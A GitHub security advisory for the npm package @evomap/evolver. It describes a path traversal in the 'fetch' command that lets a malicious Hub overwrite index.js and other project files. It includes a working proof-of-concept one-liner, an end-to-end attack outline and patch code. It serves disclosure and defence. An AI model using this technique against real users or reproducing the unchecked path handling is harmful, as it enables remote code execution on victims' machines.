GHSA-cfcj-hqpf-hccf: @evomap/evolver: Path Traversal in `evolver fetch` default-branch `safeId` allows Hub-controlled overwrite of project files (RCE)
Summary The evolver fetch subcommand in index.js writes Hub-supplied bundledfiles[] into a directory derived from a Hub-supplied skillid. When --out is not used, the path-sanitizing regex permits . characters, allowing a skillid of .. to escape the skills/ subdirectory and resolve to the user's current working directory.
Published May 5, 2026
Affected packages
@evomap/evolver
- Ecosystem
- npm
- Affected
- <= 1.70.0-beta.4
- Fixed in
- 1.70.0-beta.5
- Check
npm ls @evomap/evolver
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
The evolver fetch subcommand in index.js writes Hub-supplied bundled_files[] into a directory derived from a Hub-supplied skill_id. When --out is not used, the path-sanitizing regex permits . characters, allowing a skill_id of .. to escape the skills/ subdirectory and resolve to the user's current working directory. Combined with the file-extension allow-list (which includes .js/.json/.sh/.py/.md), this lets a malicious Hub overwrite the victim's index.js, package.json, or other files in cwd, achieving remote code execution on the next invocation of the evolver.
Details
The vulnerable code is in the fetch command handler:
// index.js:847-873
const data = await resp.json();
const outFlag = args.find(a => typeof a === 'string' && a.startsWith('--out='));
const safeId = String(data.skill_id || skillId).replace(/[^a-zA-Z0-9_\-\.]/g, '_');
let outDir;
if (outFlag) {
const rawOut = outFlag.slice('--out='.length);
// ...
const resolvedOut = path.resolve(process.cwd(), rawOut);
const cwd = path.resolve(process.cwd());
const rel = path.relative(cwd, resolvedOut);
if (rel.startsWith('..') || path.isAbsolute(rel)) { // <-- traversal check exists for --out
console.error('[fetch] --out= must resolve to a path inside the current working directory');
process.exit(1);
}
outDir = resolvedOut;
} else {
outDir = path.join('.', 'skills', safeId); // <-- NO traversal check
}
if (!fs.existsSync(outDir)) fs.mkdirSync(outDir, { recursive: true });Three problems compose:
- The regex allow-list permits `.` —
[^a-zA-Z0-9_\-\.]only strips characters *outside* this set, so the literal dot is preserved. Askill_idof..(verified:'..'.replace(/[^a-zA-Z0-9_\-\.]/g,'_') === '..') survives sanitization. - `path.join` collapses `..` traversal —
path.join('.', 'skills', '..')evaluates to'.'(the cwd), sooutDiris now the user's working directory rather than./skills/<id>. - The traversal validation only runs in the `--out` branch — the default branch (the documented common case for
evolver fetch --skill <id>) has nopath.relative(...).startsWith('..')check.
The bundled-files write loop:
// index.js:881-906
const ALLOWED_SKILL_EXTENSIONS = new Set([
'.js', '.mjs', '.cjs', '.ts', '.json', '.md', '.txt',
'.sh', '.py', '.yml', '.yaml',
]);
// ...
for (const file of bundled) {
if (!file || !file.name || typeof file.content !== 'string') continue;
const safeName = path.basename(file.name); // basename of "index.js" is "index.js"
const ext = path.extname(safeName).toLowerCase();
if (!ALLOWED_SKILL_EXTENSIONS.has(ext)) { /* skip */ continue; }
if (Buffer.byteLength(file.content, 'utf8') > MAX_SKILL_FILE_BYTES) { /* skip */ continue; }
fs.writeFileSync(path.join(outDir, safeName), file.content, 'utf8');
}path.basename strips directory components from the *file name*, but a basename of index.js is still index.js. The extension allow-list contains .js, so an attacker can write ./index.js (the evolver entry point itself), ./package.json, ./SKILL.md, etc.
There is no signature verification on the Hub response. buildHubHeaders() only authenticates the *outgoing* request; the response body is trusted as-is. The Hub stores skills uploaded by network participants, so any participant who can set a stored skill_id field to .. triggers this on every download.
PoC
Reproduces the exact code path from index.js:849-905:
cd /tmp && rm -rf evolver-poc-validate && mkdir evolver-poc-validate && \
cp /path/to/EvoMap-evolver-src/index.js evolver-poc-validate/
cd evolver-poc-validate
wc -l index.js # 1098 index.js (legitimate)
node -e "
const fs=require('fs'),path=require('path');
const data={
skill_id:'..',
content:'x',
bundled_files:[{name:'index.js',content:'#!/usr/bin/env node\nconsole.log(\"PWNED\");'}]
};
const safeId=String(data.skill_id||'x').replace(/[^a-zA-Z0-9_\-\.]/g,'_');
const outDir=path.join('.','skills',safeId);
console.log('safeId:',JSON.stringify(safeId)); // '..'
console.log('outDir:',JSON.stringify(outDir)); // '.'
if(!fs.existsSync(outDir))fs.mkdirSync(outDir,{recursive:true});
for(const f of data.bundled_files){
const n=path.basename(f.name);
fs.writeFileSync(path.join(outDir,n),f.content);
}"
wc -l index.js # 1 index.js (clobbered)
head -3 index.js
# #!/usr/bin/env node
# console.log("PWNED");Verified output: 1098 → 1 line; the legitimate evolver entry point is replaced with attacker-controlled JavaScript. Any subsequent node index.js <command> (including the --loop daemon mode that users run continuously) executes the attacker payload.
End-to-end attack:
- Attacker uploads a skill to the A2A Hub whose stored
skill_idis..(or operates a malicious Hub / MitMs the connection / supplies a maliciousA2A_HUB_URL). - The malicious response also carries
bundled_files: [{name: 'index.js', content: '<attacker JS>'}]. - Victim runs
node index.js fetch --skill=anythingfrom the evolver checkout (the documented usage). ./index.jsis overwritten in place.- Victim's next
node index.jsinvocation — even justnode index.js --helpor therun --loopdaemon — executes attacker code with the victim's privileges.
Impact
- Remote code execution in the victim's environment with the privileges of the evolver process. Because the loop daemon (
node index.js run --loop) is the documented long-running mode, the malicious code typically gets executed within seconds of the next iteration. - Attacker can also overwrite
package.json(allowed extension),SKILL.md,.env-adjacent.json/.yaml/.ymlconfig files, and any whitelisted file already present in the cwd. - Trust boundary violation:
evolver fetchis presented as a *download* operation; users would not expect it to overwrite the application binary or project files. The--outbranch was hardened against exactly this; the default branch was missed. - A single malicious skill upload compromises every user that fetches it.
Recommended Fix
Reject safeId values that are not single non-traversing path segments before joining, or reuse the same path.relative check used in the --out branch. Minimal patch around index.js:849:
const safeId = String(data.skill_id || skillId).replace(/[^a-zA-Z0-9_\-\.]/g, '_');
if (
safeId === '' ||
safeId === '.' ||
safeId === '..' ||
safeId.includes('/') ||
safeId.includes('\\') ||
safeId.includes('\0')
) {
console.error('[fetch] Hub returned an invalid skill_id: ' + JSON.stringify(safeId));
process.exit(1);
}Defense in depth — apply the existing traversal check to the default branch as well:
} else {
const candidate = path.resolve(process.cwd(), 'skills', safeId);
const skillsRoot = path.resolve(process.cwd(), 'skills');
const rel = path.relative(skillsRoot, candidate);
if (rel.startsWith('..') || path.isAbsolute(rel)) {
console.error('[fetch] Hub returned a skill_id that escapes the skills/ directory');
process.exit(1);
}
outDir = candidate;
}Additionally, consider:
- Removing
.from the regex allow-list (skill IDs typically don't need dots). - Verifying a Hub-supplied signature over the response payload before writing any file to disk.
- Disallowing bundled-file
safeNamevalues that match top-level project files (index.js,package.json,package-lock.json, etc.) regardless ofoutDir.
Credited to offset.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
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